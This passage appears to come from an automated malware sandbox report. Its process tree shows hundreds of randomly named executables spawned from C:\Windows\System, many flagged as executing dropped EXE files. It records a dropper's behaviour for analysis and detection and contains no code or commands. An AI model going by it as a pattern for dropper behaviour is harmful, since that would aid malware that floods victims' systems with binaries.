  - Executes dropped EXE
  PID:1716
- C:\Windows\System\qrFYBrc.exe
  C:\Windows\System\qrFYBrc.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\aRcOdtp.exe
  C:\Windows\System\aRcOdtp.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\rVBObrs.exe
  C:\Windows\System\rVBObrs.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\SnXjxBg.exe
  C:\Windows\System\SnXjxBg.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\fZPtxec.exe
  C:\Windows\System\fZPtxec.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\rrpURFP.exe
  C:\Windows\System\rrpURFP.exe
  2⤵
  - Executes dropped EXE
  PID:2300
- C:\Windows\System\sKWcyXl.exe
  C:\Windows\System\sKWcyXl.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\splRTyt.exe
  C:\Windows\System\splRTyt.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\jxcXgxj.exe
  C:\Windows\System\jxcXgxj.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\AxDSWDp.exe
  C:\Windows\System\AxDSWDp.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\JmYeYyG.exe
  C:\Windows\System\JmYeYyG.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\zmWhNRt.exe
  C:\Windows\System\zmWhNRt.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\pxXqCJe.exe
  C:\Windows\System\pxXqCJe.exe
  2⤵
  - Executes dropped EXE
  PID:704
- C:\Windows\System\laOepWn.exe
  C:\Windows\System\laOepWn.exe
  2⤵
  - Executes dropped EXE
  PID:1000
- C:\Windows\System\tVyRWnU.exe
  C:\Windows\System\tVyRWnU.exe
  2⤵
  - Executes dropped EXE
  PID:588
- C:\Windows\System\MywdtgP.exe
  C:\Windows\System\MywdtgP.exe
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Windows\System\bzXFaPP.exe
  C:\Windows\System\bzXFaPP.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\idBbIbd.exe
  C:\Windows\System\idBbIbd.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\hSajVWM.exe
  C:\Windows\System\hSajVWM.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\VnUuhyI.exe
  C:\Windows\System\VnUuhyI.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\sXpRAxH.exe
  C:\Windows\System\sXpRAxH.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\nHmLrKL.exe
  C:\Windows\System\nHmLrKL.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Windows\System\lGLOAtX.exe
  C:\Windows\System\lGLOAtX.exe
  2⤵
  - Executes dropped EXE
  PID:848
- C:\Windows\System\bOEIdIx.exe
  C:\Windows\System\bOEIdIx.exe
  2⤵
  - Executes dropped EXE
  PID:1396
- C:\Windows\System\BUAJLRL.exe
  C:\Windows\System\BUAJLRL.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\oHDjFMX.exe
  C:\Windows\System\oHDjFMX.exe
  2⤵
  - Executes dropped EXE
  PID:1792
- C:\Windows\System\lRMYZeS.exe
  C:\Windows\System\lRMYZeS.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\ToegvuI.exe
  C:\Windows\System\ToegvuI.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\EzocViW.exe
  C:\Windows\System\EzocViW.exe
  2⤵
  - Executes dropped EXE
  PID:1072
- C:\Windows\System\oHfLKrI.exe
  C:\Windows\System\oHfLKrI.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\JaIWLUG.exe
  C:\Windows\System\JaIWLUG.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\cNisLYj.exe
  C:\Windows\System\cNisLYj.exe
  2⤵
  - Executes dropped EXE
  PID:112
- C:\Windows\System\YPFweWF.exe
  C:\Windows\System\YPFweWF.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\Mlsutiv.exe
  C:\Windows\System\Mlsutiv.exe
  2⤵
  - Executes dropped EXE
  PID:844
- C:\Windows\System\CFmdsyb.exe
  C:\Windows\System\CFmdsyb.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\DrGARlP.exe
  C:\Windows\System\DrGARlP.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\bdABSPv.exe
  C:\Windows\System\bdABSPv.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\VIPTBFx.exe
  C:\Windows\System\VIPTBFx.exe
  2⤵
  - Executes dropped EXE
  PID:1744
- C:\Windows\System\qluwEtX.exe
  C:\Windows\System\qluwEtX.exe
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Windows\System\HpHYMOS.exe
  C:\Windows\System\HpHYMOS.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\nLBimMj.exe
  C:\Windows\System\nLBimMj.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\mkHPaNp.exe
  C:\Windows\System\mkHPaNp.exe
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Windows\System\MaClojz.exe
  C:\Windows\System\MaClojz.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\ZjkxByD.exe
  C:\Windows\System\ZjkxByD.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\yAqCiXh.exe
  C:\Windows\System\yAqCiXh.exe
  2⤵
  PID:2168
- C:\Windows\System\uEyPLEs.exe
  C:\Windows\System\uEyPLEs.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\iNxuveD.exe
  C:\Windows\System\iNxuveD.exe
  2⤵
  PID:2380
- C:\Windows\System\tKiQJCT.exe
  C:\Windows\System\tKiQJCT.exe
  2⤵
  PID:800
- C:\Windows\System\UgnCqVi.exe
  C:\Windows\System\UgnCqVi.exe
  2⤵
  PID:1624
- C:\Windows\System\oHMjOLD.exe
  C:\Windows\System\oHMjOLD.exe
  2⤵
  PID:872
- C:\Windows\System\lUUNypm.exe
  C:\Windows\System\lUUNypm.exe
  2⤵
  PID:2320
- C:\Windows\System\xKDeimg.exe
  C:\Windows\System\xKDeimg.exe
  2⤵
  PID:2200
- C:\Windows\System\GdnVXGE.exe
  C:\Windows\System\GdnVXGE.exe
  2⤵
  PID:2360
- C:\Windows\System\snoFFqr.exe
  C:\Windows\System\snoFFqr.exe
  2⤵
  PID:1972
- C:\Windows\System\PtNpHCk.exe
  C:\Windows\System\PtNpHCk.exe
  2⤵
  PID:1344
- C:\Windows\System\jgFBSpf.exe
  C:\Windows\System\jgFBSpf.exe
  2⤵
  PID:1504
- C:\Windows\System\OKfxVCq.exe
  C:\Windows\System\OKfxVCq.exe
  2⤵
  PID:344
- C:\Windows\System\pCCTosr.exe
  C:\Windows\System\pCCTosr.exe
  2⤵
  PID:2444
- C:\Windows\System\lqIkWuS.exe
  C:\Windows\System\lqIkWuS.exe
  2⤵
  PID:1528
- C:\Windows\System\bJENBxP.exe
  C:\Windows\System\bJENBxP.exe
  2⤵
  PID:2916
- C:\Windows\System\fuKvtHn.exe
  C:\Windows\System\fuKvtHn.exe
  2⤵
  PID:696
- C:\Windows\System\msOzNSR.exe
  C:\Windows\System\msOzNSR.exe
  2⤵
  PID:2708
- C:\Windows\System\PbDOArP.exe
  C:\Windows\System\PbDOArP.exe
  2⤵
  PID:2056
- C:\Windows\System\LzApfsl.exe
  C:\Windows\System\LzApfsl.exe
  2⤵
  PID:1400
- C:\Windows\System\AnRmHGF.exe
  C:\Windows\System\AnRmHGF.exe
  2⤵
  PID:1848
- C:\Windows\System\KrDYTry.exe
  C:\Windows\System\KrDYTry.exe
  2⤵
  PID:912
- C:\Windows\System\IqHOOHZ.exe
  C:\Windows\System\IqHOOHZ.exe
  2⤵
  PID:2544
- C:\Windows\System\EUhGgwo.exe
  C:\Windows\System\EUhGgwo.exe
  2⤵
  PID:1628
- C:\Windows\System\uFelkUy.exe
  C:\Windows\System\uFelkUy.exe
  2⤵
  PID:2776
- C:\Windows\System\qTitScU.exe
  C:\Windows\System\qTitScU.exe
  2⤵
  PID:1176
- C:\Windows\System\furgyhU.exe
  C:\Windows\System\furgyhU.exe
  2⤵
  PID:576
- C:\Windows\System\CtalrnQ.exe
  C:\Windows\System\CtalrnQ.exe
  2⤵
  PID:2788
- C:\Windows\System\AkCXYqg.exe
  C:\Windows\System\AkCXYqg.exe
  2⤵
  PID:2992
- C:\Windows\System\wBOjqZf.exe
  C:\Windows\System\wBOjqZf.exe
  2⤵
  PID:2332
- C:\Windows\System\XVFrHDn.exe
  C:\Windows\System\XVFrHDn.exe
  2⤵
  PID:1208
- C:\Windows\System\zrNmAWj.exe
  C:\Windows\System\zrNmAWj.exe
  2⤵
  PID:2068
- C:\Windows\System\oRMWlxS.exe
  C:\Windows\System\oRMWlxS.exe
  2⤵
  PID:352
- C:\Windows\System\GZNMHta.exe
  C:\Windows\System\GZNMHta.exe
  2⤵
  PID:2920
- C:\Windows\System\KJtfGtO.exe
  C:\Windows\System\KJtfGtO.exe
  2⤵
  PID:2852
- C:\Windows\System\MFsdZpu.exe
  C:\Windows\System\MFsdZpu.exe
  2⤵
  PID:1808
- C:\Windows\System\ObSQkvq.exe
  C:\Windows\System\ObSQkvq.exe
  2⤵
  PID:920
- C:\Windows\System\TwjYJSH.exe
  C:\Windows\System\TwjYJSH.exe
  2⤵
  PID:1532
- C:\Windows\System\SlRHyUJ.exe
  C:\Windows\System\SlRHyUJ.exe
  2⤵
  PID:1080
- C:\Windows\System\rHtZqQM.exe
  C:\Windows\System\rHtZqQM.exe
  2⤵
  PID:2288
- C:\Windows\System\NBVkYWL.exe
  C:\Windows\System\NBVkYWL.exe
  2⤵
  PID:2744
- C:\Windows\System\yPCtncl.exe
  C:\Windows\System\yPCtncl.exe
  2⤵
  PID:2156
- C:\Windows\System\stEqRcl.exe
  C:\Windows\System\stEqRcl.exe
  2⤵
  PID:1272
- C:\Windows\System\wNuCOlA.exe
  C:\Windows\System\wNuCOlA.exe
  2⤵
  PID:2364
- C:\Windows\System\SSIFGOM.exe
  C:\Windows\System\SSIFGOM.exe
  2⤵
  PID:1316
- C:\Windows\System\BKOcxlf.exe
  C:\Windows\System\BKOcxlf.exe
  2⤵
  PID:2368
- C:\Windows\System\XAIybGZ.exe
  C:\Windows\System\XAIybGZ.exe
  2⤵
  PID:1952
- C:\Windows\System\lrihwuZ.exe
  C:\Windows\System\lrihwuZ.exe
  2⤵
  PID:640
- C:\Windows\System\dNvHUkU.exe
  C:\Windows\System\dNvHUkU.exe
  2⤵
  PID:2232
- C:\Windows\System\XOVGYXC.exe
  C:\Windows\System\XOVGYXC.exe
  2⤵
  PID:2448
- C:\Windows\System\uTlRBne.exe
  C:\Windows\System\uTlRBne.exe
  2⤵
  PID:552
- C:\Windows\System\WnNMPhR.exe
  C:\Windows\System\WnNMPhR.exe
  2⤵
  PID:632
- C:\Windows\System\iZSXFdU.exe
  C:\Windows\System\iZSXFdU.exe
  2⤵
  PID:2712
- C:\Windows\System\Mgjwzph.exe
  C:\Windows\System\Mgjwzph.exe
  2⤵
  PID:2628
- C:\Windows\System\RgJmBRu.exe
  C:\Windows\System\RgJmBRu.exe
  2⤵
  PID:1756
- C:\Windows\System\DUQyrxG.exe
  C:\Windows\System\DUQyrxG.exe
  2⤵
  PID:1604
- C:\Windows\System\UttKMNY.exe
  C:\Windows\System\UttKMNY.exe
  2⤵
  PID:1840
- C:\Windows\System\ulgfmxa.exe
  C:\Windows\System\ulgfmxa.exe
  2⤵
  PID:1636
- C:\Windows\System\VqfQcWU.exe
  C:\Windows\System\VqfQcWU.exe
  2⤵
  PID:1796
- C:\Windows\System\RKvgktT.exe
  C:\Windows\System\RKvgktT.exe
  2⤵
  PID:2080
- C:\Windows\System\CGyRiWH.exe
  C:\Windows\System\CGyRiWH.exe
  2⤵
  PID:3020
- C:\Windows\System\fgAWdEO.exe
  C:\Windows\System\fgAWdEO.exe
  2⤵
  PID:480
- C:\Windows\System\RyCRrhw.exe
  C:\Windows\System\RyCRrhw.exe
  2⤵
  PID:1348
- C:\Windows\System\leIAOCn.exe
  C:\Windows\System\leIAOCn.exe
  2⤵
  PID:2384
- C:\Windows\System\ZNeeOBq.exe
  C:\Windows\System\ZNeeOBq.exe
  2⤵
  PID:2356
- C:\Windows\System\DSypLOt.exe
  C:\Windows\System\DSypLOt.exe
  2⤵
  PID:840
- C:\Windows\System\gZGFWoN.exe
  C:\Windows\System\gZGFWoN.exe
  2⤵
  PID:2172
- C:\Windows\System\eIruscd.exe
  C:\Windows\System\eIruscd.exe
  2⤵
  PID:2808
- C:\Windows\System\ISUTdhD.exe
  C:\Windows\System\ISUTdhD.exe
  2⤵
  PID:1860
- C:\Windows\System\wQGMEdW.exe
  C:\Windows\System\wQGMEdW.exe
  2⤵
  PID:1644
- C:\Windows\System\bJxZRax.exe
  C:\Windows\System\bJxZRax.exe
  2⤵
  PID:2884
- C:\Windows\System\lnLMXus.exe
  C:\Windows\System\lnLMXus.exe
  2⤵
  PID:2212
- C:\Windows\System\hTBTVEM.exe
  C:\Windows\System\hTBTVEM.exe
  2⤵
  PID:1876
- C:\Windows\System\OgsKpWZ.exe
  C:\Windows\System\OgsKpWZ.exe
  2⤵
  PID:2500
- C:\Windows\System\oauCZMA.exe
  C:\Windows\System\oauCZMA.exe
  2⤵
  PID:1912
- C:\Windows\System\nVzaDcv.exe
  C:\Windows\System\nVzaDcv.exe
  2⤵
  PID:2220
- C:\Windows\System\ydjAgwP.exe
  C:\Windows\System\ydjAgwP.exe
  2⤵
  PID:360
- C:\Windows\System\kFfyHmH.exe
  C:\Windows\System\kFfyHmH.exe
  2⤵
  PID:2564
- C:\Windows\System\OhDlkXp.exe
  C:\Windows\System\OhDlkXp.exe
  2⤵
  PID:676
- C:\Windows\System\WexnjEO.exe
  C:\Windows\System\WexnjEO.exe
  2⤵
  PID:3080
- C:\Windows\System\qIyWkDS.exe
  C:\Windows\System\qIyWkDS.exe
  2⤵
  PID:3100
- C:\Windows\System\FupIkdl.exe
  C:\Windows\System\FupIkdl.exe
  2⤵
  PID:3140
- C:\Windows\System\hnGzNSu.exe
  C:\Windows\System\hnGzNSu.exe
  2⤵
  PID:3160
- C:\Windows\System\mMJjqRm.exe
  C:\Windows\System\mMJjqRm.exe
  2⤵
  PID:3180
- C:\Windows\System\DkjOoJS.exe
  C:\Windows\System\DkjOoJS.exe
  2⤵
  PID:3204
- C:\Windows\System\yrGiWRs.exe
  C:\Windows\System\yrGiWRs.exe
  2⤵
  PID:3224
- C:\Windows\System\XLTUpRC.exe
  C:\Windows\System\XLTUpRC.exe
  2⤵
  PID:3240
- C:\Windows\System\PBKnpGn.exe
  C:\Windows\System\PBKnpGn.exe
  2⤵
  PID:3260
- C:\Windows\System\FspttCq.exe
  C:\Windows\System\FspttCq.exe
  2⤵
  PID:3280
- C:\Windows\System\CVOsDdJ.exe
  C:\Windows\System\CVOsDdJ.exe
  2⤵
  PID:3296
- C:\Windows\System\xsPnbFm.exe
  C:\Windows\System\xsPnbFm.exe
  2⤵
  PID:3324
- C:\Windows\System\bczlvwC.exe
  C:\Windows\System\bczlvwC.exe
  2⤵
  PID:3340
- C:\Windows\System\dgCknaY.exe
  C:\Windows\System\dgCknaY.exe
  2⤵
  PID:3360
- C:\Windows\System\yotMDgL.exe
  C:\Windows\System\yotMDgL.exe
  2⤵
  PID:3380
- C:\Windows\System\Chdqpml.exe
  C:\Windows\System\Chdqpml.exe
  2⤵
  PID:3396
- C:\Windows\System\TkCqGyw.exe
  C:\Windows\System\TkCqGyw.exe
  2⤵
  PID:3412
- C:\Windows\System\fPUCaZA.exe
  C:\Windows\System\fPUCaZA.exe
  2⤵
  PID:3428
- C:\Windows\System\ZlevdLN.exe
  C:\Windows\System\ZlevdLN.exe
  2⤵
  PID:3444
- C:\Windows\System\RUkXTvb.exe
  C:\Windows\System\RUkXTvb.exe
  2⤵
  PID:3464
- C:\Windows\System\TfXQjMo.exe
  C:\Windows\System\TfXQjMo.exe
  2⤵
  PID:3480
- C:\Windows\System\GUwhROh.exe
  C:\Windows\System\GUwhROh.exe
  2⤵
  PID:3496
- C:\Windows\System\jKNZfSr.exe
  C:\Windows\System\jKNZfSr.exe
  2⤵
  PID:3512
- C:\Windows\System\EYzAylK.exe
  C:\Windows\System\EYzAylK.exe
  2⤵
  PID:3528
- C:\Windows\System\bssXqmx.exe
  C:\Windows\System\bssXqmx.exe
  2⤵
  PID:3544
- C:\Windows\System\FHwQKwq.exe
  C:\Windows\System\FHwQKwq.exe
  2⤵
  PID:3564
- C:\Windows\System\TMVsXFH.exe
  C:\Windows\System\TMVsXFH.exe
  2⤵
  PID:3580
- C:\Windows\System\lvWLHcy.exe
  C:\Windows\System\lvWLHcy.exe
  2⤵
  PID:3596
- C:\Windows\System\AfMeUGV.exe
  C:\Windows\System\AfMeUGV.exe
  2⤵
  PID:3612
- C:\Windows\System\QpLDopW.exe
  C:\Windows\System\QpLDopW.exe
  2⤵
  PID:3628
- C:\Windows\System\JvtBDbq.exe
  C:\Windows\System\JvtBDbq.exe
  2⤵
  PID:3644
- C:\Windows\System\Tfqpohr.exe
  C:\Windows\System\Tfqpohr.exe
  2⤵
  PID:3660
- C:\Windows\System\xOVsoYO.exe
  C:\Windows\System\xOVsoYO.exe
  2⤵
  PID:3680
- C:\Windows\System\gNPavvc.exe
  C:\Windows\System\gNPavvc.exe
  2⤵
  PID:3696
- C:\Windows\System\efKvNZv.exe
  C:\Windows\System\efKvNZv.exe
  2⤵
  PID:3712
- C:\Windows\System\FeqYwGL.exe
  C:\Windows\System\FeqYwGL.exe
  2⤵
  PID:3728
- C:\Windows\System\aPtMVHh.exe
  C:\Windows\System\aPtMVHh.exe
  2⤵
  PID:3748
- C:\Windows\System\GQdnsyj.exe
  C:\Windows\System\GQdnsyj.exe
  2⤵
  PID:3768
- C:\Windows\System\PiuqiSY.exe
  C:\Windows\System\PiuqiSY.exe
  2⤵
  PID:3784
- C:\Windows\System\EMGIBeF.exe
  C:\Windows\System\EMGIBeF.exe
  2⤵
  PID:3800
- C:\Windows\System\dqLWAkK.exe
  C:\Windows\System\dqLWAkK.exe
  2⤵
  PID:3816
- C:\Windows\System\kTyIEkP.exe
  C:\Windows\System\kTyIEkP.exe
  2⤵
  PID:3832
- C:\Windows\System\xDbUqQw.exe
  C:\Windows\System\xDbUqQw.exe
  2⤵
  PID:3848
- C:\Windows\System\rNozlje.exe
  C:\Windows\System\rNozlje.exe
  2⤵
  PID:3868
- C:\Windows\System\auwkZAp.exe
  C:\Windows\System\auwkZAp.exe
  2⤵
  PID:3884
- C:\Windows\System\imNxBXD.exe
  C:\Windows\System\imNxBXD.exe
  2⤵
  PID:3900
- C:\Windows\System\PWtZljl.exe
  C:\Windows\System\PWtZljl.exe
  2⤵
  PID:3916
- C:\Windows\System\DiFHgKa.exe
  C:\Windows\System\DiFHgKa.exe
  2⤵
  PID:3932
- C:\Windows\System\GRqsdla.exe
  C:\Windows\System\GRqsdla.exe
  2⤵
  PID:3948
- C:\Windows\System\DgrxukG.exe
  C:\Windows\System\DgrxukG.exe
  2⤵
  PID:3964
- C:\Windows\System\uIAaSLq.exe
  C:\Windows\System\uIAaSLq.exe
  2⤵
  PID:3984
- C:\Windows\System\hjrnhyB.exe
  C:\Windows\System\hjrnhyB.exe
  2⤵
  PID:4000
- C:\Windows\System\LdZzbjy.exe
  C:\Windows\System\LdZzbjy.exe
  2⤵
  PID:4016
- C:\Windows\System\ZdygAjQ.exe
  C:\Windows\System\ZdygAjQ.exe
  2⤵
  PID:4032
- C:\Windows\System\MvUBmzr.exe
  C:\Windows\System\MvUBmzr.exe
  2⤵
  PID:4048
- C:\Windows\System\SyTXrCo.exe
  C:\Windows\System\SyTXrCo.exe
  2⤵
  PID:4064
- C:\Windows\System\jTaEjkJ.exe
  C:\Windows\System\jTaEjkJ.exe
  2⤵
  PID:4080
- C:\Windows\System\iYacJCq.exe
  C:\Windows\System\iYacJCq.exe
  2⤵
  PID:812
- C:\Windows\System\NptLIMn.exe
  C:\Windows\System\NptLIMn.exe
  2⤵
  PID:1688
- C:\Windows\System\VNMqnlu.exe
  C:\Windows\System\VNMqnlu.exe
  2⤵
  PID:1980
- C:\Windows\System\XFlzxvp.exe
  C:\Windows\System\XFlzxvp.exe
  2⤵
  PID:2752
- C:\Windows\System\SEANlpw.exe
  C:\Windows\System\SEANlpw.exe
  2⤵
  PID:3092
- C:\Windows\System\hWMRLoo.exe
  C:\Windows\System\hWMRLoo.exe
  2⤵
  PID:820
- C:\Windows\System\gFMXwoE.exe
  C:\Windows\System\gFMXwoE.exe
  2⤵
  PID:3120
- C:\Windows\System\iclHNKa.exe
  C:\Windows\System\iclHNKa.exe
  2⤵
  PID:3132
- C:\Windows\System\htmMNob.exe
  C:\Windows\System\htmMNob.exe
  2⤵
  PID:3176
- C:\Windows\System\BYjVLzg.exe
  C:\Windows\System\BYjVLzg.exe
  2⤵
  PID:3336
- C:\Windows\System\OyxcrFa.exe
  C:\Windows\System\OyxcrFa.exe
  2⤵
  PID:3368
- C:\Windows\System\MkTgTaO.exe
  C:\Windows\System\MkTgTaO.exe
  2⤵
  PID:3440
- C:\Windows\System\vlbDAls.exe
  C:\Windows\System\vlbDAls.exe
  2⤵
  PID:3504
- C:\Windows\System\syBrJgF.exe
  C:\Windows\System\syBrJgF.exe
  2⤵
  PID:3540
- C:\Windows\System\fpBXeyj.exe
  C:\Windows\System\fpBXeyj.exe
  2⤵
  PID:3636
- C:\Windows\System\EnQGuqL.exe
  C:\Windows\System\EnQGuqL.exe
  2⤵
  PID:3676
- C:\Windows\System\CBJgYZU.exe
  C:\Windows\System\CBJgYZU.exe
  2⤵
  PID:3744
- C:\Windows\System\ULcoOVW.exe
  C:\Windows\System\ULcoOVW.exe
  2⤵
  PID:3844
- C:\Windows\System\nNgrtdF.exe
  C:\Windows\System\nNgrtdF.exe
  2⤵
  PID:3880
- C:\Windows\System\QFQBtNV.exe
  C:\Windows\System\QFQBtNV.exe
  2⤵
  PID:3972
- C:\Windows\System\AlUrKJI.exe
  C:\Windows\System\AlUrKJI.exe
  2⤵
  PID:4012
- C:\Windows\System\kKhlZUh.exe
  C:\Windows\System\kKhlZUh.exe
  2⤵
  PID:496
- C:\Windows\System\SOrfGsb.exe
  C:\Windows\System\SOrfGsb.exe
  2⤵
  PID:3760
- C:\Windows\System\ZVFrfEW.exe
  C:\Windows\System\ZVFrfEW.exe
  2⤵
  PID:3688
- C:\Windows\System\ccZRPKF.exe
  C:\Windows\System\ccZRPKF.exe
  2⤵
  PID:4024
- C:\Windows\System\oCVhSvZ.exe
  C:\Windows\System\oCVhSvZ.exe
  2⤵
  PID:3108
- C:\Windows\System\YWPgdKe.exe
  C:\Windows\System\YWPgdKe.exe
  2⤵
  PID:1352
- C:\Windows\System\Bfnctbg.exe
  C:\Windows\System\Bfnctbg.exe
  2⤵
  PID:3232
- C:\Windows\System\wNcYRHs.exe
  C:\Windows\System\wNcYRHs.exe
  2⤵
  PID:3256
- C:\Windows\System\iLDlmbF.exe
  C:\Windows\System\iLDlmbF.exe
  2⤵
  PID:3272
- C:\Windows\System\DgGiOgv.exe
  C:\Windows\System\DgGiOgv.exe
  2⤵
  PID:3576
- C:\Windows\System\nVVmuVG.exe
  C:\Windows\System\nVVmuVG.exe
  2⤵
  PID:3392
- C:\Windows\System\MHrHwCP.exe
  C:\Windows\System\MHrHwCP.exe
  2⤵
  PID:3136
- C:\Windows\System\BZpFtsV.exe
  C:\Windows\System\BZpFtsV.exe
  2⤵
  PID:3668
- C:\Windows\System\dsoXuQB.exe
  C:\Windows\System\dsoXuQB.exe
  2⤵
  PID:3288
- C:\Windows\System\QcmzTAI.exe
  C:\Windows\System\QcmzTAI.exe
  2⤵
  PID:3316
- C:\Windows\System\gxXqlLT.exe
  C:\Windows\System\gxXqlLT.exe
  2⤵
  PID:3128
- C:\Windows\System\oARSVCy.exe
  C:\Windows\System\oARSVCy.exe
  2⤵
  PID:3188
- C:\Windows\System\DvCjsXS.exe
  C:\Windows\System\DvCjsXS.exe
  2⤵
  PID:1960
- C:\Windows\System\GyJczZM.exe
  C:\Windows\System\GyJczZM.exe
  2⤵
  PID:3488
- C:\Windows\System\mvXQQWi.exe
  C:\Windows\System\mvXQQWi.exe
  2⤵
  PID:3756
- C:\Windows\System\jjMaKuE.exe
  C:\Windows\System\jjMaKuE.exe
  2⤵
  PID:3560
- C:\Windows\System\zwnWter.exe
  C:\Windows\System\zwnWter.exe
  2⤵
  PID:2344
- C:\Windows\System\eeYbgFc.exe
  C:\Windows\System\eeYbgFc.exe
  2⤵
  PID:3724
- C:\Windows\System\ubKlGij.exe
  C:\Windows\System\ubKlGij.exe
  2⤵
  PID:3924
- C:\Windows\System\RjVzzHC.exe
  C:\Windows\System\RjVzzHC.exe
  2⤵
  PID:3996
- C:\Windows\System\MgtYYmg.exe
  C:\Windows\System\MgtYYmg.exe
  2⤵
  PID:1724
- C:\Windows\System\UYJvwly.exe
  C:\Windows\System\UYJvwly.exe
  2⤵
  PID:3088
- C:\Windows\System\XjMRVnE.exe
  C:\Windows\System\XjMRVnE.exe
  2⤵
  PID:3216
- C:\Windows\System\RlcPRdB.exe
  C:\Windows\System\RlcPRdB.exe
  2⤵
  PID:3252
- C:\Windows\System\kTQmcaX.exe
  C:\Windows\System\kTQmcaX.exe
  2⤵
  PID:3472
- C:\Windows\System\WYhvTcu.exe
  C:\Windows\System\WYhvTcu.exe
  2⤵
  PID:3708
- C:\Windows\System\QXCLvPo.exe
  C:\Windows\System\QXCLvPo.exe
  2⤵
  PID:3536
- C:\Windows\System\GTDgxLL.exe
  C:\Windows\System\GTDgxLL.exe
  2⤵
  PID:3304
- C:\Windows\System\tLOjZBw.exe
  C:\Windows\System\tLOjZBw.exe
  2⤵
  PID:2392
- C:\Windows\System\stLOIXu.exe
  C:\Windows\System\stLOIXu.exe
  2⤵
  PID:1420
- C:\Windows\System\EKsVZvn.exe
  C:\Windows\System\EKsVZvn.exe
  2⤵
  PID:3424
- C:\Windows\System\urgosfg.exe
  C:\Windows\System\urgosfg.exe
  2⤵
  PID:3592
- C:\Windows\System\dIstGhj.exe
  C:\Windows\System\dIstGhj.exe
  2⤵
  PID:3796
- C:\Windows\System\iAzxRCp.exe
  C:\Windows\System\iAzxRCp.exe
  2⤵
  PID:3960
- C:\Windows\System\fFfDxcy.exe
  C:\Windows\System\fFfDxcy.exe
  2⤵
  PID:4060
- C:\Windows\System\faqNiyO.exe
  C:\Windows\System\faqNiyO.exe
  2⤵
  PID:3236
- C:\Windows\System\dZomEFf.exe
  C:\Windows\System\dZomEFf.exe
  2⤵
  PID:3476
- C:\Windows\System\CpSeCFO.exe
  C:\Windows\System\CpSeCFO.exe
  2⤵
  PID:2224
- C:\Windows\System\vHshKQV.exe
  C:\Windows\System\vHshKQV.exe
  2⤵
  PID:3912
- C:\Windows\System\amBnaFi.exe
  C:\Windows\System\amBnaFi.exe
  2⤵
  PID:2960
- C:\Windows\System\hvqajMW.exe
  C:\Windows\System\hvqajMW.exe
  2⤵
  PID:3520
- C:\Windows\System\KfDjJPC.exe
  C:\Windows\System\KfDjJPC.exe
  2⤵
  PID:3552
- C:\Windows\System\wUkLmcK.exe
  C:\Windows\System\wUkLmcK.exe
  2⤵
  PID:3604
- C:\Windows\System\yCGrdXo.exe
  C:\Windows\System\yCGrdXo.exe
  2⤵
  PID:2648
- C:\Windows\System\HVXnoij.exe
  C:\Windows\System\HVXnoij.exe
  2⤵
  PID:3248
- C:\Windows\System\IqeAqeN.exe
  C:\Windows\System\IqeAqeN.exe
  2⤵
  PID:1360
- C:\Windows\System\XZZWWBK.exe
  C:\Windows\System\XZZWWBK.exe
  2⤵
  PID:3456
- C:\Windows\System\GDWVRHU.exe
  C:\Windows\System\GDWVRHU.exe
  2⤵
  PID:3408
- C:\Windows\System\ScUseuF.exe
  C:\Windows\System\ScUseuF.exe
  2⤵
  PID:3896
- C:\Windows\System\RONRUBb.exe
  C:\Windows\System\RONRUBb.exe
  2⤵
  PID:3828
- C:\Windows\System\gvuxotB.exe
  C:\Windows\System\gvuxotB.exe
  2⤵
  PID:1648
- C:\Windows\System\uUQtrzP.exe
  C:\Windows\System\uUQtrzP.exe
  2⤵
  PID:944
- C:\Windows\System\kHZsrBI.exe
  C:\Windows\System\kHZsrBI.exe
  2⤵
  PID:3840
- C:\Windows\System\xGFuyJP.exe
  C:\Windows\System\xGFuyJP.exe
  2⤵
  PID:3656
- C:\Windows\System\jBwGLNQ.exe
  C:\Windows\System\jBwGLNQ.exe
  2⤵
  PID:2532
- C:\Windows\System\iWpqdXU.exe
  C:\Windows\System\iWpqdXU.exe
  2⤵
  PID:3168
- C:\Windows\System\bdtxQRr.exe
  C:\Windows\System\bdtxQRr.exe
  2⤵
  PID:312
- C:\Windows\System\XRFEzcn.exe
  C:\Windows\System\XRFEzcn.exe
  2⤵
  PID:4108
- C:\Windows\System\pOcYjaV.exe
  C:\Windows\System\pOcYjaV.exe
  2⤵
  PID:4128
- C:\Windows\System\AWQVZYl.exe
  C:\Windows\System\AWQVZYl.exe
  2⤵
  PID:4152
